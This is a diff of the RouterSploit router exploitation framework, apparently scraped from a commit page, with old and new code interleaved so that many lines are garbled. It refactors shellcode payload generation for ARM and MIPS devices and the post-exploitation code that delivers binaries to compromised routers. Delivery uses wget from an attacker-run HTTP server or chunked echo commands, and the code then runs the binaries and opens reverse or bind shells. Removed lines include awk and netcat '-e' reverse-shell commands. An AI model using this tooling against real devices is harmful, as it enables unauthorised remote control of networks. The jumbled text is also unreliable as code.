from utils import ( from routersploit import exploits, validators
print_success, from routersploit.exceptions import OptionValidationError
print_status, from utils import print_info, print_status, print_success, print_error, random_text
print_info,
print_error,
random_text architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE"])
payload_handlers = namedtuple("PayloadHandlers", ["BIND_TCP", "REVERSE_TCP"])
Architectures = architectures(
ARMLE="armle",
MIPSBE="mipsbe",
MIPSLE="mipsle",
)
PayloadHandlers = payload_handlers(
BIND_TCP="bind_tcp",
REVERSE_TCP="reverse_tcp",
) )
ARCH_ELF_HEADERS = { ARCH_ELF_HEADERS = {
"armle": ("\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" Architectures.ARMLE: (
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00" "\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00" "\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00"), "\x00\x10\x00\x00"
"mipsbe": ("\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" ),
Architectures.MIPSBE: (
"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34" "\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07" "\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
"\x00\x00\x10\x00"), "\x00\x00\x10\x00"
"mipsle": ("\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" ),
Architectures.MIPSLE: (
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00" "\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00" "\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00") "\x00\x10\x00\x00"
),
} }
class Payload(exploits.Exploit): class ReverseTCPPayloadMixin(object):
output = exploits.Option('python', 'Output type: elf/python') __metaclass__ = exploits.ExploitOptionsAggregator
filepath = exploits.Option("/tmp/{}".format(random_text(8)), 'Output file to write')
handler = PayloadHandlers.REVERSE_TCP
lhost = exploits.Option('', 'Connect-back IP address',
validators=validators.ipv4)
lport = exploits.Option(5555, 'Connect-back TCP Port',
validators=validators.integer)
class BindTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
handler = PayloadHandlers.BIND_TCP
rport = exploits.Option(5555, 'Bind Port',
validators=validators.integer)
class BasePayload(exploits.BaseExploit):
handler = None
def __init__(self): def __init__(self):
if self.architecture == "armle": if self.handler not in PayloadHandlers:
self.bigendian = False raise OptionValidationError(
self.header = ARCH_ELF_HEADERS['armle'] "Please use one of valid payload handlers: {}".format(
elif self.architecture == "mipsbe": PayloadHandlers._fields
self.bigendian = True )
self.header = ARCH_ELF_HEADERS['mipsbe'] )
elif self.architecture == "mipsle":
self.bigendian = False def generate(self):
self.header = ARCH_ELF_HEADERS['mipsle'] raise NotImplementedError("Please implement 'generate()' method")
else:
print_error("Define architecture. Supported architectures: armle, mipsbe, mipsle") def run(self):
return None raise NotImplementedError()
class ArchitectureSpecificPayload(BasePayload):
architecture = None
output = exploits.Option('python', 'Output type: elf/c/python')
filepath = exploits.Option(
"/tmp/{}".format(random_text(8)), 'Output file to write'
)
def __init__(self):
super(ArchitectureSpecificPayload, self).__init__()
if self.architecture not in Architectures:
raise OptionValidationError(
"Please use one of valid payload architectures: {}".format(
Architectures._fields
)
)
self.header = ARCH_ELF_HEADERS[self.architecture]
self.bigendian = True if self.architecture.endswith("be") else False
def run(self): def run(self):
print_status("Generating payload") print_status("Generating payload")
self.generate() try:
data = self.generate()
except OptionValidationError as e:
print_error(e)
return
if self.output == "elf": if self.output == "elf":
with open(self.filepath, 'w+') as f: with open(self.filepath, 'w+') as f:
print_status("Building ELF payload") print_status("Building ELF payload")
content = self.generate_elf() content = self.generate_elf(data)
print_success("Saving file {}".format(self.filepath)) print_success("Saving file {}".format(self.filepath))
f.write(content) f.write(content)
elif self.output == "c":
print_success("Bulding payload for C")
content = self.generate_c(data)
print_info(content)
elif self.output == "python": elif self.output == "python":
print_success("Building payload for python") print_success("Building payload for python")
content = self.generate_python() content = self.generate_python(data)
print_info(content) print_info(content)
else:
raise OptionValidationError(
"No such option as {}".format(self.output)
)
def convert_ip(self, addr): def generate_elf(self, data):
res = "" elf = self.header + data
for i in addr.split("."):
res += chr(int(i))
return res
def convert_port(self, p):
res = "%.4x" % int(p)
return res.decode('hex')
def generate_elf(self):
elf = self.header + self.payload
if self.bigendian: if self.bigendian:
p_filesz = pack(">L", len(elf)) p_filesz = pack(">L", len(elf))
p_memsz = pack(">L", len(elf) + len(self.payload)) p_memsz = pack(">L", len(elf) + len(data))
else: else:
p_filesz = pack("<L", len(elf)) p_filesz = pack("<L", len(elf))
p_memsz = pack("<L", len(elf) + len(self.payload)) p_memsz = pack("<L", len(elf) + len(data))
content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:] content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
return content return content
def generate_python(self): @staticmethod
res = "payload = (\n \"" def generate_c(data):
for idx, x in enumerate(self.payload): res = "unsigned char sh[] = {\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0: if idx % 15 == 0 and idx != 0:
res += "\"\n \"" res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\"\n};"
return res
@staticmethod
def generate_python(data):
res = "payload = (\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x) res += "\\x%02x" % ord(x)
res += "\"\n)" res += "\"\n)"
return res return res
class GenericPayload(BasePayload):
def run(self):
print_status("Generating payload")
print_info(
self.generate()
)
...@@ -4,6 +4,9 @@ import SimpleHTTPServer ...@@ -4,6 +4,9 @@ import SimpleHTTPServer
import BaseHTTPServer import BaseHTTPServer
import threading import threading
import time import time
from os import listdir
from os.path import isfile, join
import importlib
from printer import printer_queue from printer import printer_queue
from routersploit import validators from routersploit import validators
...@@ -13,97 +16,117 @@ from routersploit.utils import ( ...@@ -13,97 +16,117 @@ from routersploit.utils import (
print_error, print_error,
print_success, print_success,
print_status, print_status,
print_table,
random_text, random_text,
) )
import routersploit.modules.payloads as payloads
def shell(exploit, architecture="", method="", payloads=None, **params):
path = "routersploit/modules/payloads/{}/".format(architecture)
payload = None
options = []
def bind_tcp(arch, rport): if not payloads:
print_status("Generating bind shell binary") payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]
if arch == 'armle': print_info()
payload = payloads.armle_bind_tcp.Exploit() print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
elif arch == 'mipsle': print_status("Depending on the vulnerability, command's results might not be available.")
payload = payloads.mipsle_bind_tcp.Exploit() print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
elif arch == 'mipsbe': print_info()
payload = payloads.mipsbe_bind_tcp.Exploit()
else:
print_error("Platform not supported")
return None
payload.port = rport while 1:
while not printer_queue.empty():
payload.generate() pass
return payload.generate_elf()
if payload is None:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
else:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__['name'])
def reverse_tcp(arch, lhost, lport): cmd = raw_input(cmd_str)
print_status("Generating reverse shell binary")
if arch == 'armle': if cmd in ["quit", "exit"]:
payload = payloads.armle_reverse_tcp.Exploit() return
elif arch == 'mipsle':
payload = payloads.mipsle_reverse_tcp.Exploit()
elif arch == 'mipsbe':
payload = payloads.mipsbe_reverse_tcp.Exploit()
else:
print_error("Platform not supported")
return None
payload.target = lhost elif cmd == "show payloads":
payload.port = lport print_status("Available payloads:")
for payload_name in payloads:
print_info("- {}".format(payload_name))
payload.generate() elif cmd.startswith("set payload "):
return payload.generate_elf() c = cmd.split(" ")
if c[2] in payloads:
payload_path = path.replace("/", ".") + c[2]
payload = getattr(importlib.import_module(payload_path), 'Exploit')()
def shell(exploit, architecture="", method="", **params): options = []
while 1: for option in payload.exploit_attributes.keys():
while not printer_queue.empty(): if option not in ["output", "filepath"]:
pass options.append([option, getattr(payload, option), payload.exploit_attributes[option]])
cmd = raw_input("cmd > ") if payload.handler == "bind_tcp":
options.append(["rhost", validators.ipv4(exploit.target), "Target IP address"])
if cmd in ["quit", "exit"]: if method == "wget":
return options.append(["lhost", "", "Connect-back IP address for wget"])
options.append(["lport", 4545, "Connect-back Port for wget"])
else:
print_error("Payload not available")
c = cmd.split() elif payload is not None:
if len(c) and (c[0] == "bind_tcp" or c[0] == "reverse_tcp"): if cmd == "show options":
options = {} headers = ("Name", "Current settings", "Description")
if c[0] == "bind_tcp":
try:
options['technique'] = "bind_tcp"
options['rhost'] = validators.ipv4(exploit.target)
options['rport'] = int(c[1])
options['lhost'] = c[2]
options['lport'] = int(c[3])
except:
print_error("bind_tcp <rport> <lhost> <lport>")
payload = bind_tcp(architecture, options['rport']) print_info('\nPayload Options:')
print_table(headers, *options)
print_info()
elif c[0] == "reverse_tcp": elif cmd.startswith("set "):
c = cmd.split(" ")
if len(c) != 3:
print_error("set <option> <value>")
else:
for option in options:
if option[0] == c[1]:
try: try:
options['technique'] = "reverse_tcp" setattr(payload, c[1], c[2])
options['lhost'] = c[1]
options['lport'] = int(c[2])
except: except:
print_error("reverse_tcp <lhost> <lport>") print_error("Invalid value for {}".format(c[1]))
break
payload = reverse_tcp(architecture, options['lhost'], options['lport']) option[1] = c[2]
print_success("{'" + c[1] + "': '" + c[2] + "'}")
communication = Communication(exploit, payload, options) elif cmd == "run":
data = payload.generate()
if method == "wget": if method == "wget":
communication.wget(binary=params['binary'], location=params['location']) elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options, **params)
if communication.wget() is False:
continue
elif method == "echo": elif method == "echo":
communication.echo(binary=params['binary'], location=params['location']) elf_binary = payload.generate_elf(data)
elif method == "awk": communication = Communication(exploit, elf_binary, options, **params)
communication.awk(binary=params['binary']) communication.echo()
elif method == "netcat":
communication.netcat(binary=params['binary'], shell=params['shell']) elif method == "generic":
params['exec_binary'] = data
communication = Communication(exploit, "", options, **params)
if payload.handler == "bind_tcp":
communication.bind_tcp()
elif payload.handler == "reverse_tcp":
communication.reverse_tcp()
elif cmd == "back":
payload = None
else: else:
print_status("Executing '{}' on the device...".format(cmd))
print_info(exploit.execute(cmd)) print_info(exploit.execute(cmd))
...@@ -129,136 +152,173 @@ class HttpServer(BaseHTTPServer.HTTPServer): ...@@ -129,136 +152,173 @@ class HttpServer(BaseHTTPServer.HTTPServer):
class Communication(object): class Communication(object):
def __init__(self, exploit, payload, options): def __init__(self, exploit, payload, options, location="", wget_options={}, echo_options={}, exec_binary=None):
self.exploit = exploit self.exploit = exploit
self.payload = payload self.payload = payload
self.options = options self.options = {option[0]: option[1] for option in options}
self.binary_name = random_text(8)
# location to save the payload e.g. /tmp/
self.location = location
# transfer techniques
self.wget_options = wget_options
self.echo_options = echo_options
# process of executing payload
self.exec_binary = exec_binary
# name of the binary - its random 8 bytes
self.binary_name = None
self.port_used = False
self.mutex = False
def http_server(self, lhost, lport): def http_server(self, lhost, lport):
print_status("Setting up HTTP server") print_status("Setting up HTTP server")
try:
server = HttpServer((lhost, int(lport)), HttpRequestHandler) server = HttpServer((lhost, int(lport)), HttpRequestHandler)
except socket.error:
self.port_used = True
self.mutex = False
return None
self.mutex = False
server.serve_forever(self.payload) server.serve_forever(self.payload)
server.server_close() server.server_close()
def wget(self, binary, location): def wget(self):
print_status("Using wget method") print_status("Using wget method")
self.binary_name = random_text(8)
if "binary" in self.wget_options.keys():
binary = self.wget_options['binary']
else:
binary = "wget"
# run http server # run http server
self.mutex = True
thread = threading.Thread(target=self.http_server, args=(self.options['lhost'], self.options['lport'])) thread = threading.Thread(target=self.http_server, args=(self.options['lhost'], self.options['lport']))
thread.start() thread.start()
while self.mutex:
pass
if self.port_used:
print_error("Could not set up HTTP Server on {}:{}".format(self.options['lhost'], self.options['lport']))
return False
# wget binary # wget binary
print_status("Using wget to download binary") print_status("Using wget to download binary")
cmd = "{} http://{}:{}/{} -O {}/{}".format(binary, cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
self.options['lhost'], self.options['lhost'],
self.options['lport'], self.options['lport'],
self.binary_name, self.binary_name,
location, self.location,
self.binary_name) self.binary_name)
self.exploit.execute(cmd) self.exploit.execute(cmd)
return True
# execute binary def echo(self):
if self.options['technique'] == "bind_tcp": print_status("Using echo method")
self.execute_binary(location, self.binary_name) self.binary_name = random_text(8)
print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
time.sleep(2)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], self.options['rport']))
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
elif self.options['technique'] == "reverse_tcp": path = "{}/{}".format(self.location, self.binary_name)
sock = self.listen(self.options['lhost'], self.options['lport'])
self.execute_binary(location, self.binary_name)
# waiting for shell # echo stream e.g. echo -ne {} >> {}
self.shell(sock) if "stream" in self.echo_options.keys():
echo_stream = self.echo_options['stream']
else:
echo_stream = 'echo -ne "{}" >> {}'
def echo(self, binary, location): # echo prefix e.g. "\\x"
print_status("Using echo method") if "prefix" in self.echo_options.keys():
echo_prefix = self.echo_options['prefix']
else:
echo_prefix = "\\x"
path = "{}/{}".format(location, self.binary_name) # echo max length of the block
if "max_length" in self.echo_options.keys():
echo_max_length = int(self.echo_options['max_length'])
else:
echo_max_length = 30
size = len(self.payload) size = len(self.payload)
num_parts = (size / 30) + 1 num_parts = (size / echo_max_length) + 1
# transfer binary through echo command # transfer binary through echo command
print_status("Using echo method to transfer binary") print_status("Sending payload to {}".format(path))
for i in range(0, num_parts): for i in range(0, num_parts):
current = i * 30 current = i * echo_max_length
print_status("Transferring {}/{} bytes".format(current, len(self.payload))) print_status("Transferring {}/{} bytes".format(current, len(self.payload)))
block = self.payload[current:current + 30].encode('hex') block = self.payload[current:current + echo_max_length].encode('hex')
block = "\\\\x" + "\\\\x".join(a + b for a, b in zip(block[::2], block[1::2])) block = echo_prefix + echo_prefix.join(a + b for a, b in zip(block[::2], block[1::2]))
cmd = 'echo -ne "{}" >> {}'.format(block, path) cmd = echo_stream.format(block, path)
self.exploit.execute(cmd) self.exploit.execute(cmd)
# execute binary def listen(self, lhost, lport):
if self.options['technique'] == "bind_tcp": sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.execute_binary(location, self.binary_name) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport'])) try:
time.sleep(2) sock.bind((lhost, int(lport)))
sock.listen(5)
except socket.error:
self.port_used = True
return None
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) return sock
sock.connect((self.options['rhost'], self.options['rport']))
print_success("Enjoy your shell") def build_commands(self):
tn = telnetlib.Telnet() path = "{}/{}".format(self.location, self.binary_name)
tn.sock = sock
tn.interact()
elif self.options['technique'] == "reverse_tcp": commands = []
sock = self.listen(self.options['lhost'], self.options['lport'])
self.execute_binary(location, self.binary_name)
# waiting for shell # set of instructions to execute payload on the device
self.shell(sock) if isinstance(self.exec_binary, list) or isinstance(self.exec_binary, tuple):
for item_exec_binary in self.exec_binary:
if isinstance(item_exec_binary, str):
try:
commands.append(item_exec_binary.format(path))
except ValueError:
commands.append(item_exec_binary)
elif callable(item_exec_binary):
commands.append(item_exec_binary(path))
def awk(self, binary): # instruction to execute generic payload e.g. netcat / awk
print_status("Using awk method") elif isinstance(self.exec_binary, str):
commands.append(self.exec_binary)
# run reverse shell through awk # default way of exectuign payload
sock = self.listen(self.options['lhost'], self.options['lport']) else:
cmd = binary + " 'BEGIN{s=\"/inet/tcp/0/" + self.options['lhost'] + "/" + self.options['lport'] + "\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'" exec_binary_str = "chmod 777 {0}; {0}; rm {0}".format(path)
self.exploit.execute(cmd) commands.append(exec_binary_str)
# waiting for shell return commands
self.shell(sock)
def netcat(self, binary, shell): def reverse_tcp(self):
# run reverse shell through netcat
sock = self.listen(self.options['lhost'], self.options['lport']) sock = self.listen(self.options['lhost'], self.options['lport'])
cmd = "{} {} {} -e {}".format(binary, self.options['lhost'], self.options['lport'], shell) if self.port_used:
print_error("Could not set up listener on {}:{}".format(self.options['lhost'], self.options['lport']))
return
self.exploit.execute(cmd) # execute binary
commands = self.build_commands()
# waiting for shell print_status("Executing payload on the device")
self.shell(sock)
def execute_binary(self, location, binary_name): # synchronized commands
path = "{}/{}".format(location, binary_name) for command in commands[:-1]:
cmd = "chmod 777 {}; {}; rm {}".format(path, path, path) self.exploit.execute(command)
thread = threading.Thread(target=self.exploit.execute, args=(cmd,)) # asynchronous last command to execute binary
thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
thread.start() thread.start()
def listen(self, lhost, lport): # waiting for shell
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((lhost, int(lport)))
sock.listen(5)
return sock
def shell(self, sock):
print_status("Waiting for reverse shell...") print_status("Waiting for reverse shell...")
client, addr = sock.accept() client, addr = sock.accept()
sock.close() sock.close()
...@@ -268,3 +328,27 @@ class Communication(object): ...@@ -268,3 +328,27 @@ class Communication(object):
t = telnetlib.Telnet() t = telnetlib.Telnet()
t.sock = client t.sock = client
t.interact() t.interact()
def bind_tcp(self):
# execute binary
commands = self.build_commands()
for command in commands:
thread = threading.Thread(target=self.exploit.execute, args=(command,))
thread.start()
# connecting to shell
print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
time.sleep(2)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], int(self.options['rport'])))
except socket.error:
print_error("Could not connect to {}:{}".format(self.options['rhost'], self.options['rport']))
return
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
...@@ -90,8 +90,8 @@ class OptionTest(RoutersploitTestCase): ...@@ -90,8 +90,8 @@ class OptionTest(RoutersploitTestCase):
self.assertEqual(str(TestExploitFoo()), os.path.join('exploits', 'foo', 'bar')) self.assertEqual(str(TestExploitFoo()), os.path.join('exploits', 'foo', 'bar'))
def test_exploit_options_property(self): def test_exploit_options_property(self):
self.assertEqual(self.exploit_bar.options, ['paa', 'doo']) self.assertEqual(self.exploit_bar.options, ['paa', 'target', 'doo'])
self.assertEqual(self.exploit_foo.options, ['paa', 'doo']) self.assertEqual(self.exploit_foo.options, ['paa', 'target', 'doo'])
if __name__ == '__main__': if __name__ == '__main__':
......
...@@ -26,7 +26,10 @@ def choice(valid_values): ...@@ -26,7 +26,10 @@ def choice(valid_values):
def _enum(value): def _enum(value):
if value not in valid_values: if value not in valid_values:
raise OptionValidationError("Selected '{}' value isn't correct. Possible values are: {}".format(value, valid_values)) raise OptionValidationError(
"Selected '{}' value isn't correct. "
"Possible values are: {}".format(value, valid_values)
)
return value return value
...@@ -60,7 +63,8 @@ def boolify(value): ...@@ -60,7 +63,8 @@ def boolify(value):
True -> "True", "t", "yes", "y", "on", "1" True -> "True", "t", "yes", "y", "on", "1"
False -> any other string False -> any other string
Objects other than string will be transformed using built-in bool() function. Objects other than string will be transformed
using built-in bool() function.
""" """
if isinstance(value, basestring): if isinstance(value, basestring):
try: try:
...@@ -76,4 +80,30 @@ def integer(number): ...@@ -76,4 +80,30 @@ def integer(number):
try: try:
return int(number) return int(number)
except ValueError: except ValueError:
raise OptionValidationError("Invalid option. can't cast '{}' to integer.".format(number)) raise OptionValidationError(
"Invalid option. can't cast '{}' to integer.".format(number)
)
def convert_ip(address):
""" Convert IP to bytes"""
try:
res = ""
for i in address.split("."):
res += chr(int(i))
return res
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid IP address".format(address)
)
def convert_port(port):
""" Convert Port to bytes"""
try:
res = "%.4x" % int(port)
return res.decode('hex')
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid port number".format(port)
)
...@@ -26,6 +26,7 @@ def routersploit(): ...@@ -26,6 +26,7 @@ def routersploit():
rsf = RoutersploitInterpreter() rsf = RoutersploitInterpreter()
rsf.start() rsf.start()
if __name__ == "__main__": if __name__ == "__main__":
args = parser.parse_args() args = parser.parse_args()
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment